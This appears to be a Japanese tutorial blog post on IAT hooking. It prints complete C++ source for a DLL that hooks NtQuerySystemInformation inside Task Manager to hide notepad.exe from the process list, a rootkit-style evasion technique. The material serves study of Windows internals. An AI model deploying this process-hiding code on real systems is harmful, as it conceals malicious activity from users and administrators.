IAT Hookをやってみる
IAT Hookをやってみる
PEファイルフォーマットにおけるIAT(Import Address Table)は,インポートしたAPIのエントリーポイントへのアドレスが記載されるルックアップテーブルだ.
あるモジュールからエクスポートされるAPIを使用する際,実行時にIATを参照して当該モジュール内のAPIへジャンプするという処理が行われる.
したがってこのIATエントリを適切に書き換えることで,API呼び出しをフックすることができる.
本稿では,IAT書き換えによるAPIフックを行うDLLを作成し,実際にタスクマネージャプロセスから特定プロセスを隠してみる.
自プロセスのIATをフックしてみる
いきなりIATフックを行うDLLを作成するのは,デバッグ等の点からハードルが高い.
そこでここでは,最初に自プロセスのIATをフックするプログラムを作成し挙動を観察した後,それをDLL化する方針を取る.
まずはWikiのサンプルコードを使用してIATフックの動作を確認する.
ここで筆者が確認したいことは以下の2つだ.
- ディスク上のオフセット(すなわちRVA)からIATエントリのVAへの変換
- IATエントリ書き換え動作の様子
最初にディスク上の実行ファイル内オフセットから,メモリ上のIATエントリのアドレスへと変換してみる.
PE-bearを使うと,MessageBoxAのアドレスを格納したIATエントリは実行ファイルの先頭からオフセット0x20158に位置することが分かる.
さらに実行ファイルのImageBaseは以下から0x00007ff7f5fd0000だとわかる.
ディスク上の実行ファイル内オフセットとメモリ上のIATエントリのアドレスは以下のような関係にある.
ImageBase + MessageBoxAへのアドレスを格納したIATエントリのRVA = メモリ上のMessageBoxAへのアドレスを格納したIATエントリへのアドレス
したがって
0x00007ff7f5fd0000 + 0x20158 = 0x00007ff7f5ff0158
となる.
今,MessageBoxAへのアドレスは以下の画像により0x00007ff60f3b1e68であることが分かっている.
実際にこの値を確認すると確かにMessageBoxAのアドレスが保持されており,メモリ上のIATのアドレスが求まったといえる.
恣意的な感じは否めないが,ともあれメモリ上のIATエントリなどの関係性は確認できたのでよしとする.
簡易な計算で,ディスク上の実行ファイル内オフセットからメモリ上のMessageBoxAへのアドレスを保持するIATエントリのアドレスへと変換できるようになった.
さらに処理を進めると,2度目のMessageBoxAのcallで参照するIATの値が書き換わることも確認できる.
以下の画像がフック前.
以下の画像がフック後.
このまま処理を続けるとフック関数へとジャンプし,本来のMessageBoxAとは異なる動作をするようになった.
以上よりIATのフック処理が正常に動作することが確認できた.
続いてIATフックにより特定プロセスを隠ぺいするDLLを作成していく.
IATフックを行うDLLを作成する
タスクマネージャなどのシステム上のプロセス一覧を表示するツールは,Ntdll.dllからエクスポートされるNtQuerySystemInformationを使用して,Windowsカーネルからプロセスリストを得ていることが知られている.
このNtQuerySystemInformationをフックして特定プロセスを隠ぺいするDLLを作成する.
#include "pch.h" #include <stdio.h> #include <Psapi.h> #include <windows.h> #include <winternl.h> // Defines and typedefs #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) typedef struct _MY_SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER Reserved[3]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; ULONG BasePriority; HANDLE ProcessId; HANDLE InheritedFromProcessId; } MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION; typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); // Hooked function NTSTATUS WINAPI HookedNtQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ) { NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status) { // Loop through the list of processes PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL; PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION) SystemInformation; do { pCurrent = pNext; pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent-> NextEntryOffset); if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length)) { if (!pNext->NextEntryOffset) { pCurrent->NextEntryOffset = 0; } else { pCurrent->NextEntryOffset += pNext->NextEntryOffset; } pNext = pCurrent; } } while (pCurrent->NextEntryOffset != 0); } return status; } void DetourIATptr(const char* function, void* newfunction, HMODULE module); void** IATfind(const char* function, HMODULE module) { //Find the IAT (Import Address Table) entry specific to the given function. int ip = 0; if (module == 0) module = GetModuleHandle(0); PIMAGE_DOS_HEADER pImgDosHeaders = (PIMAGE_DOS_HEADER)module; PIMAGE_NT_HEADERS pImgNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDosHeaders + pImgDosHeaders->e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pImgDosHeaders + pImgNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); if (pImgDosHeaders->e_magic != IMAGE_DOS_SIGNATURE) printf("libPE Error : e_magic is no valid DOS signature\n"); for (IMAGE_IMPORT_DESCRIPTOR* iid = pImgImportDesc; iid->Name != NULL; iid++) { for (int funcIdx = 0; *(funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module)) != NULL; funcIdx++) { char* modFuncName = (char*)(*(funcIdx + (SIZE_T*)(iid->OriginalFirstThunk + (SIZE_T)module)) + (SIZE_T)module + 2); const uintptr_t nModFuncName = (uintptr_t)modFuncName; bool isString = !(nModFuncName & (sizeof(nModFuncName) == 4 ? 0x80000000 : 0x8000000000000000)); if (isString) { if (!_stricmp(function, modFuncName)) return funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module); } } } return 0; } void DetourIATptr(const char* function, void* newfunction, HMODULE module) { void** funcptr = IATfind(function, module); if (*funcptr == newfunction) return; DWORD oldrights, newrights = PAGE_READWRITE; //Update the protection to READWRITE VirtualProtect(funcptr, sizeof(LPVOID), newrights, &oldrights); *funcptr = newfunction; //Restore the old memory protection flags. VirtualProtect(funcptr, sizeof(LPVOID), oldrights, &newrights); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DetourIATptr("NtQuerySystemInformation", (void*)HookedNtQuerySystemInformation, 0); //Hook the function break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
このDLLは以下のような処理を行う.
- ターゲットプロセスへのロード時にDllMain内のDetourIATptrが呼ばれる
- DetourIATptrはIATfindを呼び出して,Taskmgr.exe内のIATからNtQuerySystemInformationのアドレスが記載されたエントリを見つける
- VirtualProtectを使いメモリ属性を変更した後,APIエントリをHookedNtQuerySystemInformationへのアドレスへ書き換える
- HookedNtQuerySystemInformationでは,オリジナルのNtQuerySystemInformationを使ってプロセスリストを取得する
- アクティブなプロセスのリストにnotepad.exeが見つかった場合このエントリをスキップするようリストを書き換える
デモ
実際に動かしてみる.
以上.